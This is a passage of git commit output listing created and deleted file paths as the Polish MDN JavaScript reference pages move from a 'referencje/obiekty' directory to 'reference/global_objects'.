files/pl/web/javascript/reference/global_objects/array/find/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/findindex/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/flat/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/foreach/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/from/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/includes/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/indexof/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/isarray/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/join/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/keys/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/lastindexof/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/length/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/map/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/of/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/pop/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/push/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/reduce/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/reduceright/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/reverse/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/shift/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/slice/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/some/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/sort/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/splice/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/tolocalestring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/tosource/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/tostring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/unshift/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/values/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/arraybuffer/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/bigint/asintn/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/bigint/asuintn/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/bigint/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/bigint/tostring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/bigint/valueof/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/boolean/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/boolean/tosource/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/boolean/tostring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/boolean/valueof/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/dataview/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getdate/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getday/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getfullyear/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/gethours/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getmilliseconds/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getminutes/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getmonth/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getseconds/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/gettime/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getutcdate/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getutcday/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getutcfullyear/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getutchours/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getutcminutes/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getutcmonth/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getutcseconds/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/getyear/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/now/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/parse/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setdate/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setfullyear/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/sethours/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setmilliseconds/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setminutes/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setmonth/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setseconds/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/settime/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setutcdate/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setutcfullyear/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setutchours/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setutcmilliseconds/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setutcminutes/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setutcmonth/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setutcseconds/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/setyear/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/togmtstring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/tojson/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/tolocaledatestring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/tolocalestring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/tolocaletimestring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/tosource/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/tostring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/toutcstring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/utc/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/date/valueof/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/decodeuri/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/decodeuricomponent/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/encodeuri/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/encodeuricomponent/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/error/columnnumber/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/error/filename/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/error/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/error/linenumber/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/error/message/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/error/name/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/error/stack/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/error/tosource/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/error/tostring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/escape/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/evalerror/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/function/apply/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/function/arguments/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/function/bind/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/function/caller/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/function/displayname/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/function/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/function/length/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/function/tostring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/generator/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/infinity/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/isfinite/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/isnan/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/json/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/map/clear/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/map/delete/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/map/entries/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/map/foreach/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/map/get/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/map/has/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/map/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/map/keys/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/map/set/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/map/size/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/map/values/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/abs/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/acos/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/asin/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/atan/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/atan2/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/ceil/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/cos/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/e/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/exp/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/floor/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/ln10/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/ln2/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/log/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/log10e/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/log2e/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/max/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/min/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/pi/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/pow/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/random/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/round/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/sign/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/sin/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/sqrt/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/sqrt1_2/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/sqrt2/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/math/tan/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/nan/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/null/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/epsilon/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/isinteger/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/isnan/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/max_value/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/min_value/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/nan/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/negative_infinity/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/positive_infinity/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/toexponential/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/tofixed/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/tolocalestring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/toprecision/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/number/tostring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/object/assign/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/object/constructor/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/object/freeze/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/object/getownpropertydescriptor/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/object/hasownproperty/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/object/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/object/proto/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/object/seal/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/object/tolocalestring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/object/tosource/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/object/tostring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/object/valueof/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/parsefloat/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/parseint/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/promise/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/proxy/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/proxy/proxy/apply/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/proxy/proxy/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/rangeerror/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/regexp/exec/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/regexp/global/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/regexp/ignorecase/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/regexp/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/regexp/lastmatch/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/regexp/source/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/regexp/test/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/regexp/tosource/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/regexp/tostring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/set/add/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/set/clear/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/set/delete/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/set/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/anchor/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/big/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/blink/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/bold/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/charat/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/charcodeat/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/concat/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/fontcolor/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/fontsize/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/fromcharcode/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/fromcodepoint/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/italics/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/link/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/repeat/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/search/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/slice/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/small/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/strike/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/sub/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/substr/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/substring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/sup/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/tolowercase/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/tosource/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/tostring/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/touppercase/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/string/valueof/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/symbol/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/syntaxerror/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/uint16array/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/undefined/index.html create mode 100644 files/pl/web/javascript/reference/index.html create mode 100644 files/pl/web/javascript/reference/lexical_grammar/index.html create mode 100644 files/pl/web/javascript/reference/operators/comma_operator/index.html create mode 100644 files/pl/web/javascript/reference/operators/conditional_operator/index.html create mode 100644 files/pl/web/javascript/reference/operators/delete/index.html create mode 100644 files/pl/web/javascript/reference/operators/destructuring_assignment/index.html create mode 100644 files/pl/web/javascript/reference/operators/function/index.html create mode 100644 files/pl/web/javascript/reference/operators/function_star_/index.html create mode 100644 files/pl/web/javascript/reference/operators/grouping/index.html create mode 100644 files/pl/web/javascript/reference/operators/in/index.html create mode 100644 files/pl/web/javascript/reference/operators/index.html create mode 100644 files/pl/web/javascript/reference/operators/instanceof/index.html create mode 100644 files/pl/web/javascript/reference/operators/new.target/index.html create mode 100644 files/pl/web/javascript/reference/operators/new/index.html create mode 100644 files/pl/web/javascript/reference/operators/nullish_coalescing_operator/index.html create mode 100644 files/pl/web/javascript/reference/operators/object_initializer/index.html create mode 100644 files/pl/web/javascript/reference/operators/operator_precedence/index.html create mode 100644 files/pl/web/javascript/reference/operators/pipeline_operator/index.html create mode 100644 files/pl/web/javascript/reference/operators/property_accessors/index.html create mode 100644 files/pl/web/javascript/reference/operators/spread_syntax/index.html create mode 100644 files/pl/web/javascript/reference/operators/super/index.html create mode 100644 files/pl/web/javascript/reference/operators/this/index.html create mode 100644 files/pl/web/javascript/reference/operators/typeof/index.html create mode 100644 files/pl/web/javascript/reference/operators/void/index.html create mode 100644 files/pl/web/javascript/reference/operators/yield/index.html create mode 100644 files/pl/web/javascript/reference/operators/yield_star_/index.html create mode 100644 files/pl/web/javascript/reference/statements/async_function/index.html create mode 100644 files/pl/web/javascript/reference/statements/block/index.html create mode 100644 files/pl/web/javascript/reference/statements/break/index.html create mode 100644 files/pl/web/javascript/reference/statements/class/index.html create mode 100644 files/pl/web/javascript/reference/statements/const/index.html create mode 100644 files/pl/web/javascript/reference/statements/continue/index.html create mode 100644 files/pl/web/javascript/reference/statements/debugger/index.html create mode 100644 files/pl/web/javascript/reference/statements/do...while/index.html create mode 100644 files/pl/web/javascript/reference/statements/empty/index.html create mode 100644 files/pl/web/javascript/reference/statements/export/index.html create mode 100644 files/pl/web/javascript/reference/statements/for...in/index.html create mode 100644 files/pl/web/javascript/reference/statements/for/index.html create mode 100644 files/pl/web/javascript/reference/statements/function/index.html create mode 100644 files/pl/web/javascript/reference/statements/function_star_/index.html create mode 100644 files/pl/web/javascript/reference/statements/if...else/index.html create mode 100644 files/pl/web/javascript/reference/statements/import/index.html create mode 100644 files/pl/web/javascript/reference/statements/index.html create mode 100644 files/pl/web/javascript/reference/statements/label/index.html create mode 100644 files/pl/web/javascript/reference/statements/return/index.html create mode 100644 files/pl/web/javascript/reference/statements/switch/index.html create mode 100644 files/pl/web/javascript/reference/statements/throw/index.html create mode 100644 files/pl/web/javascript/reference/statements/var/index.html create mode 100644 files/pl/web/javascript/reference/statements/while/index.html delete mode 100644 files/pl/web/javascript/referencje/funkcje/arguments/callee/index.html delete mode 100644 files/pl/web/javascript/referencje/funkcje/arguments/index.html delete mode 100644 files/pl/web/javascript/referencje/funkcje/arguments/length/index.html delete mode 100644 files/pl/web/javascript/referencje/index.html delete mode 100644 files/pl/web/javascript/referencje/komentarz/index.html delete mode 100644 files/pl/web/javascript/referencje/o_tym_dokumencie/index.html delete mode 100644 files/pl/web/javascript/referencje/o_tym_dokumencie/konwencje_formatowania_tekstu/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/concat/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/copywithin/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/entries/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/every/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/fill/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/filter/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/find/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/findindex/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/flat/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/foreach/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/from/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/includes/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/indexof/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/isarray/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/join/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/keys/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/lastindexof/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/length/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/map/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/of/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/pop/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/prototype/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/push/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/reduce/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/reduceright/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/reverse/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/shift/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/slice/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/some/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/sort/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/splice/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/tolocalestring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/tosource/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/tostring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/unshift/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/array/values/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/arraybuffer/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/bigint/asintn/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/bigint/asuintn/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/bigint/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/bigint/tostring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/bigint/valueof/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/boolean/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/boolean/prototype/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/boolean/tosource/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/boolean/tostring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/boolean/valueof/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/dataview/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/constructor/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getdate/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getday/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getfullyear/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/gethours/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getmilliseconds/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getminutes/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getmonth/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getseconds/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/gettime/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/gettimezoneoffset/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getutcdate/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getutcday/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getutcfullyear/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getutchours/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getutcmilliseconds/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getutcminutes/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getutcmonth/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getutcseconds/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/getyear/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/now/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/parse/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/prototype/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setdate/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setfullyear/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/sethours/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setmilliseconds/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setminutes/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setmonth/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setseconds/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/settime/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setutcdate/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setutcfullyear/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setutchours/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setutcmilliseconds/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setutcminutes/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setutcmonth/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setutcseconds/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/setyear/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/togmtstring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/tojson/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/tolocaledatestring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/tolocalestring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/tolocaletimestring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/tosource/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/tostring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/toutcstring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/utc/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/date/valueof/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/decodeuri/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/decodeuricomponent/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/encodeuri/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/encodeuricomponent/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/error/columnnumber/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/error/filename/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/error/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/error/linenumber/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/error/message/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/error/name/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/error/prototype/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/error/stack/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/error/tosource/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/error/tostring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/escape/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/evalerror/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/function/apply/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/function/arguments/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/function/bind/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/function/caller/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/function/displayname/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/function/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/function/length/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/function/tostring/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/generator/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/infinity/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/isfinite/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/isnan/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/json/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/map/clear/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/map/delete/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/map/entries/index.html delete mode 100644 files/pl/web/javascript/referencje/obiekty/map/foreach/index.html delete mode 100644 